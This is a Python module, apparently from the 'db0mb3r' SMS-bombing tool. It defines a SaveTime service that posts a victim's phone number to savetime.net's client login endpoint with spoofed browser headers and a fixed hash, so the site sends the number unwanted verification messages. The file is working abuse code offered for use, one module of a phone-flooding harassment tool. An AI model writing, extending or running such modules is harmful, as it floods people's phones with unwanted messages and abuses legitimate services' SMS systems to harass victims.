savetime.py 1.2 KB

12345678910111213141516171819202122
  1. from db0mb3r.services.service import Service
  2. class SaveTime(Service):
  3. async def run(self):
  4. await self.post(
  5. "https://api.savetime.net/v2/client/login/" + self.formatted_phone,
  6. data='$------WebKitFormBoundaryVn8pvqIINnHzFQS4\\r\\nContent-Disposition: form-data; name="accept"\\r\\n\\r\\n1\\r\\n------WebKitFormBoundaryVn8pvqIINnHzFQS4--\\r\\n',
  7. headers={
  8. "Connection": "keep-alive",
  9. "X-HASH": "c625e41dcf708c70aec75d9219846249",
  10. "Accept": "application/json, text/plain, */*",
  11. "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 OPR/72.0.3815.207",
  12. "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryVn8pvqIINnHzFQS4",
  13. "Origin": "https://savetime.net",
  14. "Sec-Fetch-Site": "same-site",
  15. "Sec-Fetch-Mode": "cors",
  16. "Sec-Fetch-Dest": "empty",
  17. "Referer": "https://savetime.net/?sidebar_open=login",
  18. "Accept-Language": "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7",
  19. },
  20. )